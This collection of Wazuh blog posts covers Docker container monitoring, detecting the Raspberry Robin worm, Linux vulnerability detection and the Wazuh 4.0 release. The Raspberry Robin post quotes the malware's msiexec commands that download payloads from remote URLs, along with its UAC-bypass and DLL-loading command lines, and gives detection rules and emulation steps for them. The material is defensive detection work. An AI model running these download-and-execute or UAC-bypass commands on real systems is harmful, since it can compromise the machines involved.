  • Monitor Docker events such as pull, create, start, mount, connect, exec_start, detach, die, exec_create, exec_detach, etc.
  • Monitor Docker container resources such as CPU, memory, and network traffic utilization.
  • Detect when container CPU and memory usage exceed predefined thresholds.
  • Monitor the health status and uptime of Docker containers.

Infrastructure setup

The following setup is used to illustrate the capability of Wazuh to monitor Docker container events and their metrics:

  • A Centos 7 endpoint running the Wazuh 4.3.10. The Wazuh central components can be installed using this Quickstart installation guide.
  • An Ubuntu 22.04 endpoint running the Wazuh agent 4.3.10. This endpoint also hosts the Docker container infrastructure. This Wazuh guide is used to install the Wazuh agent.

Monitoring with Wazuh

Wazuh has the Docker listener and command monitoring modules that can be used to collect security and runtime events from Docker containers. The Docker listener module communicates with the Docker API to collect events related to Docker containers. The command monitoring module is used to monitor the output of specific commands and trigger alerts if they match a rule.

Ubuntu endpoint configuration

Follow these steps on the monitored endpoint:

Note

You need root user privileges to execute all the commands described below.

1. Install Python and pip:

# apt install python3 python3-pip

2. Install Docker and the Python Docker Library to run the containers:

# curl -sSL https://get.docker.com/ | sh
# pip3 install docker==4.2.0

3. Enable the Wazuh agent to receive remote commands from the Wazuh server. By default, remote commands are disabled in agents for security reasons.

# echo "logcollector.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

4. Restart the Wazuh agent to apply the above changes:

# systemctl restart wazuh-agent

Wazuh server configuration

Follow these steps on the Wazuh server:

Note

You need root user privileges to execute all the commands described below.

1. Create a Wazuh agent group called container:

# /var/ossec/bin/agent_groups -a -g container -q

2. Obtain the ID of all Wazuh agents using the following command:

# /var/ossec/bin/manage_agents -l

3. Assign the Wazuh agent hosting the Docker containers to the container group. Multiple agents can be assigned to the group. This ensures all agents running Docker containers in your environment receive the same configuration. 

Replace <AGENT_ID> with the agent’s ID of the endpoint hosting the Docker container.

# /var/ossec/bin/agent_groups -a -i <AGENT_ID> -g container -q

4. Add the following settings to the /var/ossec/etc/shared/container/agent.conf configuration file. This enables the Docker listener module and sets the commands to execute on the monitored endpoint for Docker container information gathering.

<agent_config>
  <!-- Configuration to enable Docker listener module. -->
  <wodle name="docker-listener">
    <interval>10m</interval>
    <attempts>5</attempts>
    <run_on_start>yes</run_on_start>
    <disabled>no</disabled>
  </wodle>  

  <!-- Command to extract container resources information. -->
  <localfile>
    <log_format>command</log_format>
    <command>docker stats --format "{{.Container}} {{.Name}} {{.CPUPerc}} {{.MemUsage}} {{.MemPerc}} {{.NetIO}}" --no-stream</command>
    <alias>docker container stats</alias>
    <frequency>120</frequency>
    <out_format>$(timestamp) $(hostname) docker-container-resource: $(log)</out_format>
  </localfile>

  <!-- Command to extract container health information. -->
  <localfile>
    <log_format>command</log_format>
    <command>docker ps --format "{{.Image}} {{.Names}} {{.Status}}"</command>
    <alias>docker container ps</alias>
    <frequency>120</frequency>
    <out_format>$(timestamp) $(hostname) docker-container-health: $(log)</out_format>
  </localfile>
</agent_config>

Note

The <frequency> tag defines how often the command will be run in seconds. You can configure a value that suits your environment.

The commands to extract information configured above can get logs like in the following samples:

  • Log for container resources:
Nov  2 14:11:38 ubuntu-2204 docker-container-resource: ossec: output: 'docker container stats': bbc95edda452 nginx-container 21.32% 3MiB / 1.931GiB 0.15% 1.44kB / 0B
  • Log for container health:
Nov  1 13:47:12 ubuntu-2204 docker-container-health: ossec: output: 'docker container ps': nginx nginx-container Up 48 minutes (healthy)

5. Create a decoders file docker_decoders.xml in the /var/ossec/etc/decoders/ directory and add the following decoders to decode the logs received from the Wazuh agent:

<!-- Decoder for container resources information. -->
<decoder name="docker-container-resource">
  <program_name>^docker-container-resource</program_name>
</decoder>

<decoder name="docker-container-resource-child">
  <parent>docker-container-resource</parent>
  <prematch>ossec: output: 'docker container stats':</prematch>
  <regex>(S+) (S+) (S+) (S+) / (S+) (S+) (S+) / (S+)</regex>
  <order>container_id, container_name, container_cpu_usage, container_memory_usage, container_memory_limit, container_memory_perc, container_network_rx, container_network_tx</order>
</decoder>

<!-- Decoder for container health information. -->
<decoder name="docker-container-health">
  <program_name>^docker-container-health</program_name>
</decoder>

<decoder name="docker-container-health-child">
  <parent>docker-container-health</parent>
  <prematch>ossec: output: 'docker container ps':</prematch>
  <regex offset="after_prematch" type="pcre2">(S+) (S+) (.*?) ((.*?))</regex>
  <order>container_image, container_name, container_uptime, container_health_status</order>
</decoder>

Note

The custom decoder file docker_decoders.xml might be removed during an upgrade. Ensure to back up the file before you perform upgrades.

6. Create a rules file docker_rules.xml in the /var/ossec/etc/rules/ directory and add the following rules to alert the container information:

<group name="container,">
  <!-- Rule for container resources information. -->
  <rule id="100100" level="5">
    <decoded_as>docker-container-resource</decoded_as>
    <description>Docker: Container $(container_name) Resources</description>
    <group>container_resource,</group>
  </rule>
  
  <!-- Rule to trigger when container CPU and memory usage are above 80%. -->
  <rule id="100101" level="12">
    <if_sid>100100</if_sid>
    <field name="container_cpu_usage" type="pcre2">^(0*[8-9]d|0*[1-9]d{2,})</field>
    <field name="container_memory_perc" type="pcre2">^(0*[8-9]d|0*[1-9]d{2,})</field>
    <description>Docker: Container $(container_name) CPU usage ($(container_cpu_usage)) and memory usage ($(container_memory_perc)) is over 80%</description>
    <group>container_resource,</group>
  </rule>

  <!-- Rule to trigger when container CPU usage is above 80%. -->
  <rule id="100102" level="12">
    <if_sid>100100</if_sid>
    <field name="container_cpu_usage" type="pcre2">^(0*[8-9]d|0*[1-9]d{2,})</field>
    <description>Docker: Container $(container_name) CPU usage ($(container_cpu_usage)) is over 80%</description>
    <group>container_resource,</group>
  </rule>  
  
  <!-- Rule to trigger when container memory usage is above 80%. -->
  <rule id="100103" level="12">
    <if_sid>100100</if_sid>
    <field name="container_memory_perc" type="pcre2">^(0*[8-9]d|0*[1-9]d{2,})</field>
    <description>Docker: Container $(container_name) memory usage ($(container_memory_perc)) is over 80%</description>
    <group>container_resource,</group>
  </rule>

  <!-- Rule for container health information. -->
  <rule id="100105" level="5">
    <decoded_as>docker-container-health</decoded_as>
    <description>Docker: Container $(container_name) is $(container_health_status)</description>
    <group>container_health,</group>
  </rule>
   
  <!-- Rule to trigger when a container is unhealthy. -->
  <rule id="100106" level="12">
    <if_sid>100105</if_sid>
    <field name="container_health_status">^unhealthy$</field>
    <description>Docker: Container $(container_name) is $(container_health_status)</description>
    <group>container_health,</group>
  </rule>
</group>

Note

The custom rules file docker_rules.xml might be removed during an upgrade. Ensure to back up the file before you perform upgrades.

7. Restart the Wazuh manager to apply the above changes:

# systemctl restart wazuh-manager

Testing the configuration

To showcase the use cases mentioned above, Nginx, Redis, and Postgres images are used to create a containerized environment on the monitored endpoint.

1. Create and switch into a project directory /container_env for the container environment using the following command:

$ mkdir container_env && cd $_

2. Create a Docker compose file docker-compose.yml and add the following configurations to it. The Docker compose file helps to manage multiple containers at once. The configuration performs the following Docker actions:

  • Pulls Nginx, Redis, and Postgres container images from Docker Hub.
  • Creates and starts nginx-container, redis-container, and postgres-container containers from the respective Docker images.
  • Creates and connects to a network called container_env_network.
  • Creates and mounts volumes container_env_db and container_env_cache.
  • Performs health checks on the created containers every three minutes.
version: '3.8'

services:
  db:
    image: postgres
    container_name: postgres-container
    restart: always
    environment:
      - POSTGRES_USER=postgres
      - POSTGRES_PASSWORD=postgres
    healthcheck:
      test: ["CMD-SHELL", "pg_isready"]
      interval: 3m
      timeout: 5s
      retries: 1
    ports:
      - '8001:5432'
    dns:
      - 8.8.8.8
      - 9.9.9.9
    volumes:
      - db:/var/lib/postgresql/data
    networks:
      - network
    mem_limit: "512M"

  cache:
    image: redis
    container_name: redis-container
    restart: always
    healthcheck:
      test: ["CMD", "redis-cli", "--raw", "incr", "ping"]
      interval: 3m
      timeout: 5s
      retries: 1
    ports:
      - '8002:6379'
    dns:
      - 8.8.8.8
      - 9.9.9.9
    volumes:
      - cache:/data
    networks:
      - network
    mem_limit: "512M"

  nginx:
    image: nginx
    container_name: nginx-container
    restart: always
    healthcheck:
      test: ["CMD-SHELL", "stat /etc/nginx/nginx.conf || exit 1"]
      interval: 3m
      timeout: 5s
      retries: 1
    ports:
      - '8003:80'
      - '4443:443'
    dns:
      - 8.8.8.8
      - 9.9.9.9
    networks:
      - network
    mem_limit: "512M"

volumes:
  db: {}
  cache: {}
networks:
  network:

3. Execute the following command in the path containing the docker-compose.yml file to create and start the containers:

$ sudo docker compose up -d

4. we use the stress-ng utility program to test for high CPU and memory utilization. Perform this test on one of the containers, for instance, the nginx-container

  • Execute the following commands to enter the container shell and install the stress-ng utility: 
# docker exec -it nginx-container /bin/bash
# apt update && apt install stress-ng -y
  • Execute the following command to trigger a high-level alert when both CPU and memory utilization exceeds 80%. The command runs for 3 minutes.
# stress-ng -c 1 -l 80 -vm 1 --vm-bytes 500m -t 3m
  • Execute the following command to trigger a high-level alert when memory usage exceeds 80%. The command runs for 3 minutes.
# stress-ng -vm 1 --vm-bytes 500m -t 3m
  • Execute the following command to trigger a high-level alert when CPU usage exceeds 80%. The command runs for 3 minutes.
# stress-ng -c 1 -l 80 -t 3m

5. The health check for the nginx-container verifies whether the configuration file /etc/nginx/nginx.conf exists. While inside the container shell, delete the configuration file to trigger a high-level alert when the container becomes unhealthy:

# rm /etc/nginx/nginx.conf

Alert visualization

Visualize the triggered alerts by visiting the Wazuh dashboard.

  • Container actions alerts: Navigate to the Discover section and add the rule.groups: docker filter in the search bar to query the alerts. Also, use the Filter by type search field and apply the agent.name, data.docker.from, data.docker.Actor.Attributes.name, data.docker.Type, data.docker.Action, and rule.description, filters. Save the query as Docker Events.
Figure 1: Custom visualization with detected Docker events.
  • Container resources alerts: Navigate to the Discover section and add the rule.id: (100100 OR 100101 OR 100102 OR 100103) filter in the search bar to query the alerts. Also, use the Filter by type search field and apply the agent.name, data.container_name, data.container_cpu_usage, data.container_memory_usage, data.container_memory_limit, data.container_network_rx, and data.container_network_tx filters. Save the query as Container Resources.
Figure 2: Custom visualization showing container resources usage.
  • Container health alerts: Navigate to the Discover section and add the rule.id: (100105 OR 100106) filter in the search bar to query the alerts. Also, use the Filter by type search field and apply the agent.name, data.container_image, data.container_name, data.container_health_status, and data.container_uptime filters to show the status information. Save the query as Container Health.
Figure 3: Health status of containers on the custom visualization.
  • Container threshold events: Navigate to the Wazuh > Security events section and add the rule.id: (100101 OR 100102 OR 100103 OR 100106) filter in the search bar to query the alerts.
Figure 4: Container threshold events on the Wazuh dashboard.

To have a single display of the visualizations, create a custom dashboard with the above templates. Navigate to OpenSearch Dashboards > Dashboard > Create New Dashboard, then select Add an existing link and click the saved visualizations (Docker Events, Container Resources, and Container Health). This will add the visualizations to the new dashboard. Save the dashboard as Container-resource-health-events.

Figure 5: Custom dashboard displaying container resources, health, and events.

Conclusion

High visibility of containers in Dockerized environments allows you to maintain a secure and efficient environment. This way, organizations can quickly identify and respond to issues and minimize disruptions. With Wazuh, we can spot abnormalities in containers, get an overview of their resource utilization, and easily analyze their health.

In this blog post, we ensured complete coverage of our Dockerized environment by monitoring Docker container events, resource utilization, and health to improve overall security.

References

  1. Monitoring Docker container events.
  2. Docker reference documentation.
  3. Creating Wazuh decoders and rules from scratch.

The post Docker container security monitoring with Wazuh appeared first on Wazuh.

Using Wazuh to detect Raspberry Robin worms

Raspberry Robin is an evasive Windows worm that spreads using removable drives. After infecting a system, it uses the Windows msiexec.exe utility to download its payload hosted on compromised QNAP cloud devices. Then, it leverages other legitimate Windows utilities to execute the downloaded malicious files. Finally, it performs outbound network connections to command and control (C2) servers on TOR networks with no observed post-infection actions. 

Raspberry Robin beacons were first detected in September 2021 affecting companies in sectors such as manufacturing, technology, oil and gas, and transportation. Initially, the malware appeared dormant on infected systems and seemed to have no second-stage payload. However, security researchers recently discovered that it started serving as a malware dropper for other cybercrime syndicates such as DEV-0243 (Evil Corp) and DEV-0206.

This blog post focuses on using Wazuh for an early stage detection of Raspberry Robin worms based on its observed behaviors and known IoCs.

Raspberry Robin execution chain

The Raspberry Robin worm uses the following infection chain to gain access to a victim endpoint and subsequently spread over the network.

Initial access

The malware spreads to Windows endpoints when an infected removable drive is connected to the endpoint. The infected removable drive contains a malicious .lnk shortcut file masquerading as a legitimate folder. Shortly after the infected drive is connected to the victim endpoint, the UserAssist registry key entry is updated to the ROT13 encrypted value of the malicious shortcut.

Execution 

Once the infected removable drive is connected to the endpoint and the malicious .lnk file is executed by a user or Windows autorun, the worm executes a malicious file stored on the infected drive.  The malicious file name has a specific pattern. The name is 2 to 5 characters long and has extensions such as .lnk, .swy, .chk, .ico, .usb, .xml, and .cfg. The executed commands contain excessive whitespaces, unprintable characters, and mixed letter cases to evade pattern detection techniques.

Example commands used to read and execute the content of the malicious file include:

  • C:WindowsSystem32cmd.exe /RCmD<szM.ciK
  • C:WindowsSystem32cmd.exe  /rcMD<[external disk name].Lvg
  • C:WindowsSystem32cmd.exe  /v /c CMd<VxynB.ICO
  • :WindowsSystem32cmd.exe  /R C:WINDOWSsystem32cmd.exe<Gne.SWy

Command and control (C2) I

Raspberry Robin uses msiexec.exe to download malicious DLLs from compromised QNAP NAS devices. 

Examples of the commands used to  retrieve the payload include:

  • "C:WindowsSystem32cmd.exe"  /RS^TaRTM^s^i^E^xe^c /^Q/I"HTtp://W4[.]Wf[:]8080/GaJnUjc0Ht0/USER-PC?admin"
  • sT^ar^T ms^I^e^X^ec /Q /i"htTp://eg3[.]xyZ[:]8080/xj92YfGKOB/MYCOmPUTeR?SaLEs"

The commands above use /q (quiet) and /i (install) arguments to download and install the malicious DLLs. The compromised QNAP device acts as a reverse proxy and checks if the provided URL corresponds to a specific pattern before sending the malicious payloads. The URLs used to download the payload follow the pattern below:

  • Alternating alphabet casing used to bypass detection.
  • 2 to 4 characters domain names length with various top-level domains such as .xyz, .co, .pw, .org, and more. 
  • A random string as a URL path, followed by the victim’s user and device names.
  • Destination port 8080 for the malicious URL.

Persistence

To gain a foothold in the system, Raspberry Robin creates a registry key to ensure that the same malicious DLL is injected into rundll32.exe every time the endpoint boots. rundll32.exe  uses various Windows binaries such as msiexec.exe, odbcconf.exe, or control.exe associated with the ShellExec_rundll function in shell32.dll to execute the downloaded payload. After the downloaded payload is executed, fodhelper.exe is abused to bypass User Account Control (UAC).

Examples of the commands used to bypass UAC and enable persistence include:

  • exe SHELL32,ShellExec_RunDLLA C:WINDOWSsyswow64odbcconf -E /c /C -a {regsvr C:ProgramDataEuoikdvnbb.xml.}
  • C:WINDOWSsystem32rundll32.exe SHELL32,ShellExec_RunDLL C:WINDOWSsyswow64CONTROL.EXE C:WindowsInstallerqkuiht.lkg.
  • C:Windowssystem32RUNDLL32.EXE shell32.dll ShellExec_RunDLLA C:Windowssyswow64odbcconf.exe -s -C -a {regsvr C:UsersusernameAppDataLocalTempzhixyye.lock.} /a {CONFIGSYSDSN wgdpb YNPMVSV} /A {CONFIGDSN dgye AVRAU pzzfvzpihrnyj}

Additionally, the loaded DLLs have various extensions just like the initial malicious file. rundll32.exe loads them with a “.” at the end to wipe the command line after execution. This is a very malicious trick that has been observed on other malware linked to Raspberry Robin.

Command and control (C2) II

Raspberry Robin executes the rundll32.exe, dllhost.exe, or regsvr32.exe binaries without any command-line parameters to make outbound network connections to servers on TOR nodes. We suspect that is done to notify the attackers about the newly compromised endpoint. However, the attackers have not yet used the access to the networks of their victims. 

Although this behavior is not completely malicious, it is good to monitor it since executing these binaries without any command-line parameters is unusual.

Infrastructure

In order to detect the Raspberry Robin worm activities, we used the following infrastructure:

  • A pre-built ready-to-use Wazuh OVA 4.3.9. Follow this guide to download the virtual machine.
  • An installed and enrolled Wazuh agent 4.3.9 on a Windows 10 endpoint. 
  • Atomic Red Team: It is used to emulate some specific Raspberry Robin behaviors on the Windows endpoint.

Endpoint configuration

The following steps are performed on the monitored endpoint to install Sysmon and Atomic Red Team.

Install Sysmon

1. Download Sysmon from the Microsoft Sysinternals page

2. Download this Sysmon XML configuration file.

3. Install Sysmon with the downloaded configuration via Powershell as Administrator:

Sysmon.exe -accepteula -i .sysmonconfig.xml

Configure the Wazuh agent to collect Sysmon events

1. Edit the file C:Program Files (x86)ossec-agentossec.conf and include the following settings within the <ossec_config> block:

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

2. Restart the Wazuh agent service to apply the above configuration changes:

Restart-Service -Name wazuh

Setup Atomic Red Team

1. Run the following commands:

Set-ExecutionPolicy RemoteSigned
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);Install-AtomicRedTeam -getAtomics
Import-Module "C:AtomicRedTeaminvoke-atomicredteamInvoke-AtomicRedTeam.psd1" -Force

2. Download the requirements for the different MITRE ATT&CK techniques emulated in this blog post:

Invoke-AtomicTest T1059.003 -GetPrereqs
Invoke-AtomicTest T1218.007 -GetPrereqs
Invoke-AtomicTest T1218.008 -GetPrereqs
Invoke-AtomicTest T1548.002 -GetPrereqs
Invoke-AtomicTest T1218.011 -GetPrereqs

Detection with Wazuh

1. On the Wazuh Server, edit the /var/ossec/etc/rules/local_rules.xml file and add the following custom rules:

<group name="windows,sysmon,">

<!-- Command Prompt reading and executing the contents of a file  -->
  <rule id="100100" level="12">
    <if_sid>92004</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)cmd.exe$</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)cmd.exe.+((/r)|(/v.+/c)|(/c)).*cmd</field>
    <description>Possible Raspberry Robin execution: Command Prompt reading and executing the contents of a CMD file on $(win.system.computer)</description>
    <mitre>
      <id>T1059.003</id>
    </mitre>
  </rule>

<!-- msiexec.exe downloading and executing packages -->
  <rule id="100101" level="7">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)msiexec.exe$</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)msiexec.*(/q|-q|/i|-i).*(/q|-q|/i|-i).*http[s]{0,1}://.+[.msi]{0,1}</field>
    <description>msiexec.exe downloading and executing packages on $(win.system.computer)</description>
    <mitre>
      <id>T1218.007</id>
    </mitre>
  </rule>

<!-- This rule matches connections URLs that match the Raspberry Robin URL format -->
  <rule id="100102" level="12">
    <if_sid>100101</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)m.*s.*i.*e.*x.*e.*c.*(-.*q|/.*q|-.*i|/.*i).*(-.*i|/.*i|-.*q|/.*q).*http[s]{0,1}://[a-zA-Z0-9]{2,4}.[a-zA-Z0-9]{2,6}:8080/[a-zA-Z0-9]+/.*?(?:-|=|?).*?</field>
    <description>Possible Raspberry Robin execution: msiexec.exe downloading and executing packages on $(win.system.computer)</description>
    <mitre>
      <id>T1218.007</id>
    </mitre>
  </rule> 

<!-- Bypass User Account Control using Fodhelper  -->
  <rule id="100103" level="12">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(cmd|powershell|rundll32).exe</field>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)fodhelper.exe</field>
    <description>Use of fodhelper.exe to bypass UAC and execute malicious software</description>
    <mitre>
        <id>T1548.002</id>
    </mitre>
  </rule>

<!-- Legitimate Windows utilities used to load DLLs : Execute Arbitrary DLL  -->
  <rule id="100104" level="12">
    <if_sid>61603</if_sid>
    <if_group>sysmon_event1</if_group>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(odbcconf(.exe)??s+((/s)|(-s))??.*((/a)|(-a)) {regsvr)|((rundll32.exe|shell32).*shellexec_rundll.*(odbcconf.exe|msiexec|control.exe))</field>
    <description>Possible Raspberry Robin execution: Legitimate Windows utilities loading DLLs on $(win.system.computer).</description>
    <mitre>
      <id>T1218.008</id>
    </mitre>
  </rule> 

<!-- Network connections from the command line with no parameters  -->
  <rule id="100105" level="10">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(regsvr32.exe|rundll32.exe|dllhost.exe).*\";document.write();GetObject(\"script:.*).Exec()</field>
    <description>Possible Raspberry Robin execution: Network connections from the command line with no parameters on $(win.system.computer)</description>
    <mitre>
      <id>T1218.011</id>
    </mitre>
  </rule> 

</group>

Where:

  • Rule ID 100100 detects when the Command Prompt reads and executes the contents of a file.
  • Rule ID 100101 detects any command that leverages msiexec including /q and /i to quietly download and launch packages.
  • Rule ID 100102 is a child rule of 100101 that detects any connections to a URL matching the pattern used by Raspberry Robin.
  • Rule ID 100103 identifies a possible abuse of fodhelper.exe to bypass UAC and execute malicious software.
  • Rule ID 100104 detects when rundll32.exe uses the ShellExec_RunDLL function from shell32.dll to launch system binaries such as msiexec.exe, odbcconf.exe, or control.exe.
  • Rule ID 100105 detects when rundll32.exe, dllhost.exe or regsvr32.exe are executed without any command-line parameters and attempts to initiate outbound network connections. 

2. Restart the Wazuh manager service to apply the above configuration changes:

# systemctl restart wazuh-manager

Attack emulation

The testing capabilities used here are based on the following Atomic Red Team tests created to emulate Raspberry Robin:

1. Command Prompt reading and executing the contents of a CMD file – T1059.003 Test number 5

Run the following command that uses cmd.exe to read and execute the content of a cmd file:

cmd /r cmd<C:AtomicRedTeamatomicsT1059.003srct1059.003_cmd.cmd
2. msiexec.exe downloading and executing packages

Run the following command that leverages msiexec including /q and /i to quietly download and install packages from an URL matching Raspberry Robin URLs patterns:

msiexec   /Q/I"HTtp://W4.Wf:8080/GaJnUjc0Ht0/USER-PC?admin"
3. Legitimate windows utilities loading DLLs :  Execute Arbitrary DLL – T1218.008 Test number 1

Invoke Atomic RedTeam to run the technique T1218.008 in order to identify the use of to execute arbitrary DLLs:

Invoke-AtomicTest T1218.008 -TestNumbers 1
4. Bypass UAC using Fodhelper – T1548.002 Test number 3 and 4

Invoke Atomic RedTeam to run the technique T1548.002 in order to identify the use of Fodhelper to bypass User Account Control:

Invoke-AtomicTest T1548.002 -TestNumbers 3
Invoke-AtomicTest T1548.002 -TestNumbers 4
5. Network connections from the command line with no parameters – T1218.011 Test number 1

Invoke Atomic RedTeam to run the technique T1218.011 in order to identify the use of rundll32.exe, dllhost.exe or regsvr32.exe without parameters and establishing network connections.

Invoke-AtomicTest T1218.011 -TestNumbers 1
Figure 1: Raspberry Robin IoCs and behaviors detected on the Wazuh dashboard

Conclusion

This blog post demonstrates how we can use Wazuh to detect the presence of Raspberry Robin on an infected Windows endpoint. We created Wazuh rules to monitor and track the different tactics, techniques, and procedures that it employs to gain a foothold on endpoints.

References

The post Using Wazuh to detect Raspberry Robin worms appeared first on Wazuh.

Detecting vulnerable software on Linux systems

The Wazuh security platform can identify if the software installed on your endpoints has flaws that may affect your infrastructure security, so it detects vulnerable software. In a previous post, we showed how to scan Windows systems to determine which vulnerabilities affect them, showcasing Wazuh integration with the National Vulnerability Database (NVD).

For this blog post we will focus on Wazuh support for Linux platforms, including distributions such as CentOS, Red Hat, Debian, or Ubuntu. Detecting vulnerabilities on these systems presents a challenge, since it requires integrations with different data feeds.

Vulnerabilities data sources

Wazuh retrieves information from different Linux vendors, which it uses to identify vulnerable software on the monitored endpoints. Here are some CVE (Common Vulnerabilities and Exposures) statistics from these vendors:

Ubuntu vulnerabilities reported for each version supported by Wazuh.

Debian vulnerable software reported for each version supported by Wazuh.

RHEL vulnerable software reported by year since 2010.

These charts expose the first challenge of vulnerability detection: data normalization. Wazuh not only pulls information from the different vendor feeds, but it processes the data so it can be used to identify vulnerabilities when scanning a list of applications.

The second challenge is that the vendor feeds only provide information about the packages published in their repositories. So, what about third-party packages? Can we detect vulnerabilities in those cases? This is where the NVD (National Vulnerability Database) comes in handy. It aggregates vulnerability information from a large number of applications and operating systems. For comparison with the Linux vendor charts, here is the number of CVEs included in the NVD database.

NVD vulnerable software reported by year since 2010.

To see how useful the NVD data is, let’s see an example.

CVE-2019-0122

According to the NVD, this vulnerability affects the Intel(R) SGX SDK for Linux. More specifically, it affects all its software packages up to version 2.2.

In this case, the vendor website claims that the vulnerable versions of the package (the ones before version 2.2) can be installed on Ubuntu 16.04 and RHEL 7. Unfortunately, the Ubuntu and RHEL vulnerability feeds do not include this CVE . The reason, as expected, is that their repositories do not provide this software package.

At this point we wonder if the NVD includes this vulnerability. Which data feed should we trust? The answer presents another challenge for proper vulnerability detection: data correlation.

Vulnerability Detector architecture and workflow

The next diagram depicts the Vulnerability Detector architecture. This Wazuh component has been designed to simplify the addition of new vulnerability data sources, so support for other platforms and vendors can be added in the future.

At first, the Vulnerability Detector module downloads and stores all vulnerabilities data from different sources. Then, it analyzes the list of software packages installed on each monitored endpoint, previously gathered by the Wazuh agent component. This analysis is done correlating information from the different data sources, generating alerts when a software package is identified as vulnerable.

Vulnerability Detector Architecture Diagram

Analysis workflow

To fully understand the process of data correlation, let’s see step by step what the Vulnerability Detector module is doing when analyzing a list of Linux packages.

  1. At first, it reads the list of packages installed on the monitored endpoint. This information is collected by the Wazuh agent.
  2. For each software package, using the Linux vendors and NVD feeds, it now looks for CVEs with the same package name.
  3. When the package name is affected, it now checks that the package version is also reported as vulnerable in the CVE report.
  4. When both software attributes, the package name and its version, are reported as vulnerable then correlation is done looking for false positives. Alerts are discarded when:
    • For a CVE reported by the NVD, the Linux vendor states that the package is patched or not affected.
    • For a CVE that requires multiple software packages present, one or more packages are missing.
    • For a CVE reported by a Linux vendor, the NVD identifies the software as not affected.
  5. Finally, after the correlation is done, the Vulnerability Detector module alerts on vulnerable software when necessary.

Reviewing detected vulnerabilities in the UI

After the process mentioned above is completed, we can find the CVE alerts in the Wazuh User Interface. To see the details of these alerts, let’s take an interesting example: the CVE-2020-8835.

This is a Linux kernel vulnerability that affects the BPF (Berkeley Packet Filter) component and can be used to achieve local privilege escalation in Ubuntu systems. It was exploited during the recent Pwn2Own 2020 computer hacking contest, to go from a standard user to root.

Alert for CVE-2020-8835 in Kibana app. Vulnerable software

Conclusion

The correlation of the vulnerability data, provided by each Linux vendor and NVD feeds, gives Wazuh the ability to report known CVEs for software packages that are not provided by the official Linux vendor repositories. Besides, it shortens the detection time to the fastest CVE publisher and helps discard false positives. Finally, it enriches the data provided by the alerts, giving users more context around the detected vulnerabilities.

References

If you have any questions about this, don’t hesitate to check out our documentation to learn more about Wazuh or join our community where our team and contributors will help you.

The post Detecting vulnerable software on Linux systems appeared first on Wazuh.

Wazuh 4.0 released

We are glad to announce that Wazuh 4.0.0 is released. Discover the new additions and improvements here! Wazuh is now better than ever.

New features and changes in Wazuh 4.0

The Wazuh API is now a part of the Wazuh manager package. Its performance has been improved, it incorporates role-based access control (RBAC) capabilities and it is easier to use and deploy.

The manager and agent’s default communication protocol is now TCP. This change guarantees a reliable delivery of the data collected by the agents, the pushing of centralized configuration settings in real-time and faster execution of active responses.

This version includes a new feature for agent auto-enrollment. Now agents automatically request a registration key when needed, preventing them from losing their connection with the Wazuh manager when keys are lost or corrupted.

API RBAC (Role-Based Access Control)

The Wazuh API now includes role-based access control. This feature manages the access to API endpoints, using policies and user roles. It also allows role and policy assignments to users that will fulfill different functions in the environment.

You can access the RBAC configuration menu on the Wazuh WUI on Wazuh > Security

animated GIF of how to access the RBAC configuration menu on the Wazuh 4.0 WUI

This capability will, for example, allow the access restriction of a user to the FIM monitored files of a group of agents. You can read here more about how to add roles to users.

Agents auto-enrollment

There is no need to request a key using an external CLI because the agents can now request the key autonomously. When an agent has a manager IP defined on its ossec.conf it will automatically request the key to the manager if does not have a valid key at startup.

The auto-enrollment functionality also allows the agent to request a new key in case of losing the connection with the manager. If this happens, the agent will check if the manager is defined on theossec.conf and if it is, it will request a new key by default every 10 seconds up to 5 consecutive times. Both the number of request attempts and the frequency these keys are requested can be customized on the ossec.conf.

The agent enrollment can still be done using the agent-auth, but with the auto-enrollment, there is no need to request the key. It is worth mentioning that all the agents from previous versions are still 100 % compatible with the 4.x version.

FIM: Disk quota limitations

FIM implements a group of settings to control the module temporal files disk usage. This means that we can now choose the amount of disk space used by the report change utility. The diff option reports changes in the monitored files by creating a compressed copy of the file and checking if it changes. This method may use a lot of disk space depending on the number of files monitored, so this new setting will help prevent this situation by allowing the user to set limits. Wazuh 4.0 introduces new capabilities to limit the space used:

  • disk_quota: This field specifies the total amount of space the diff utility can use. By default, this value is set to 1GB.
  • file_size: This option limits the file size which will report diff information. Files bigger than this limit will not report diff information. By default, this limit is set to 50MB.

Here is an example of how to use disk_quota and file_size:

    <diff>
        <disk_quota>
          <enabled>yes</enabled>
          <limit>1GB</limit>
        </disk_quota>
        <file_size>
          <enabled>yes</enabled>
          <limit>50MB</limit>
        </file_size>
      
        <nodiff>/etc/ssl/private.key</nodiff>
      </diff>  

In addition, you can now monitor directories using environment variables. More information about how to set a list of directories to be monitored.

Wazuh Kibana plugin

The Wazuh Kibana plugin adds support for Open Distro for Elasticsearch v1.10.1 and Elastic Stack v7.9.1 and v7.9.2.

Apart from the RBAC support, this upgrade brings new configuration view settings for GCP integration and has expanded the supported deployment variables.

The Wazuh Kibana plugin also adds statistics for the listener engine:

Listener engine of Wazuh 4.0 app screenshot

And the analysis engine:

Analysis engine

To learn more about all the new features and changes in the Wazuh Kibana plugin, visit its repository.

More information and links about Wazuh 4.0

This release includes a lot more features, you can find more information in the following links:

If you have any questions about Wazuh 4.0, don’t hesitate to check out our documentation to learn more about Wazuh. You can also join our Slack and our mailing list where our team and other users will help you.

The post Wazuh 4.0 released appeared first on Wazuh.